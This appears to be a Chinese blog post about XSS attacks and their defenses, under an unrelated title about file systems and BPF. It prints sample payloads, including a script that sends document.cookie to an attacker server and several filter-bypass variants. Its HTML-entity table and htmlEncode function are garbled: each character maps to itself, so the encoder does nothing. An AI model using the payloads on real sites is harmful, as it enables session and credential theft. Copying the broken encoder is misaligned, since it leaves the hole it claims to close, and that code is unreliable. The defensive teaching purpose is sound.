文件系统分析基础与BPF观测能力实践
2026/7/15 10:26:48
核心结论:XSS(Cross-Site Scripting)攻击是一种常见的 Web 安全漏洞,攻击者通过在目标网站注入恶意 JavaScript 代码,当用户访问被注入的页面时,恶意代码会在用户浏览器中执行,从而实现窃取用户信息、伪造用户操作、劫持会话等恶意目的。其本质是网站对用户输入的内容过滤不严格,导致恶意脚本被当作正常内容渲染执行。
<script>alert('XSS')</script>)提交到输入点,网站未做有效处理,将恶意脚本存储到数据库或直接返回给页面。根据恶意脚本的注入和执行方式,XSS 攻击主要分为 3 类:
<script>fetch('http://攻击者服务器/steal?cookie='+document.cookie)</script>,网站未过滤直接存储,其他用户查看评论时,Cookie 会被发送到攻击者服务器。http://目标网站/search?keyword=<script>alert(1)</script>);keyword参数拼接到页面中,未做处理:<!-- 网站后端返回的页面代码 --> <div>搜索结果:<script>alert(1)</script></div>innerHTML、document.write)将用户输入的内容插入到页面中,未做过滤;location.href、location.search获取 URL 参数,再通过innerHTML渲染到页面;评论区前端即时渲染内容。// 从URL参数中获取keyword并渲染到页面 const keyword = decodeURIComponent(location.search.split('=')[1]); document.getElementById('search-result').innerHTML = `您搜索的内容:${keyword}`;攻击者构造 URL:http://目标网站/?keyword=<script>stealCookie()</script>,恶意脚本会被innerHTML渲染执行。攻击者会通过多种方式构造恶意脚本,绕过简单的过滤规则,常见注入形式包括:
<script>alert('XSS')</script> <script src="http://攻击者服务器/malicious.js"></script><script>标签过滤)<img src=x onerror=alert('XSS')> <!-- 图片加载失败触发onerror事件 --> <a href=javascript:alert('XSS')>点击</a> <!-- 伪协议执行脚本 --> <div onmouseover=alert('XSS')>悬浮触发</div><iframe src="http://攻击者钓鱼网站" width=0 height=0></iframe> <!-- 嵌入隐藏钓鱼页面 --> <svg onload=alert('XSS')> <!-- SVG标签支持事件 --><script>→<script>(部分网站解码后执行)alert('XSS')→\x61\x6c\x65\x72\x74('XSS')javascript:alert(1)→javascript%3Aalert%281%29防御 XSS 的核心思路是不信任任何用户输入,对用户输入的内容进行严格过滤和编码,确保恶意脚本无法被浏览器解析执行。
对用户输入的内容在渲染到页面之前进行编码,将特殊字符转换为 HTML 实体,使浏览器将其当作文本而非代码执行。
| 特殊字符 | 原始值 | HTML 实体编码 |
|---|---|---|
| 小于号 | < | < |
| 大于号 | > | > |
| 引号 | " | " |
| 单引号 | ' | ' |
| 与号 | & | & |
// 简单的编码函数 function htmlEncode(str) { return str.replace(/[&<>"']/g, (match) => { const map = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; return map[match]; }); } // 错误用法:使用innerHTML document.getElementById('content').innerHTML = htmlEncode(userInput); // 更安全的用法:使用textContent(自动编码,不会解析HTML) document.getElementById('content').textContent = userInput;org.springframework.web.util.HtmlUtils.htmlEscape(userInput)htmlspecialchars(userInput, ENT_QUOTES, 'UTF-8')he.encode(userInput)(需安装he库)<b>、<i>、<u>等安全标签,过滤所有其他标签。DOMPurify(前端 / Node.js)、jsoup(Java)。// 前端使用DOMPurify净化用户输入 import DOMPurify from 'dompurify'; const cleanHtml = DOMPurify.sanitize(userInput); document.getElementById('comment').innerHTML = cleanHtml;<script>、onerror、javascript:等敏感关键词(不推荐,易被绕过)<scr<script>ipt>、ONERROR)。| XSS 类型 | 专项防御措施 |
|---|---|
| 存储型 XSS | 1. 后端对用户输入的所有内容进行编码 / 过滤后再存入数据库;2. 前端渲染时再次编码;3. 定期扫描数据库中的恶意内容。 |
| 反射型 XSS | 1. 对 URL 参数、表单 GET 请求参数进行严格编码;2. 避免将用户输入直接拼接到页面响应中;3. 设置Referer校验,限制请求来源。 |
| DOM 型 XSS | 1. 避免使用innerHTML、document.write等危险 API,优先使用textContent;2. 对从 URL、LocalStorage 获取的数据进行编码后再渲染;3. 使用DOMPurify净化动态插入的 HTML。 |
HttpOnly:禁止 JavaScript 读取 Cookie,即使页面存在 XSS 漏洞,攻击者也无法通过document.cookie窃取 Cookie。Secure:Cookie 仅在 HTTPS 协议下传输,防止被中间人劫持。Set-Cookie: sessionId=xxx; HttpOnly; Secure; SameSite=StrictSameSite=Strict/Lax可防止 Cookie 被跨站请求携带,进一步降低 CSRF+XSS 组合攻击风险。CSP 是一种安全策略,通过 HTTP 响应头限制页面可以加载的资源(如脚本、样式、图片),禁止执行未授权的脚本。
# 只允许加载本站的脚本和样式,禁止内联脚本和eval Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'default-src 'self':默认只允许本站资源;script-src 'self':只允许执行本站的脚本;unsafe-inline(内联脚本)、unsafe-eval(eval 函数)。<meta>标签设置。以下 API 会解析 HTML 代码,容易触发 XSS,应尽量避免使用:
innerHTML、outerHTMLdocument.write、document.writelneval()、setTimeout("字符串")、setInterval("字符串")textContent;document.createElement:// 安全的动态创建元素 const div = document.createElement('div'); div.textContent = userInput; // 不会解析HTML document.body.appendChild(div);<script>alert(1)</script>、<img src=x onerror=alert(1)>,观察页面是否执行弹窗。http://目标网站/?param=<svg onload=alert(1)>。xss-filters(Node.js)、CSP Evaluator(浏览器插件,检测 CSP 配置是否合理)。<script>),忽略事件属性(如onerror)和伪协议(如javascript:)。| 防御层级 | 核心措施 |
|---|---|
| 后端(核心) | 1. 所有用户输入进行编码 / 过滤后存储;2. 设置 HttpOnly/Secure/SameSite Cookie;3. 配置 CSP 响应头。 |
| 前端(辅助) | 1. 优先使用textContent而非innerHTML;2. 使用DOMPurify净化 HTML;3. 避免使用eval等危险 API。 |
| 运维 / 测试 | 1. 定期用自动化工具扫描漏洞;2. 制定安全开发规范,对开发人员进行安全培训。 |
XSS 攻击的防御是一个系统性工程,需结合输入过滤、输出编码、CSP 策略、Cookie 保护等多层防护,同时遵循 “不信任任何用户输入” 的原则,才能有效抵御各类 XSS 漏洞。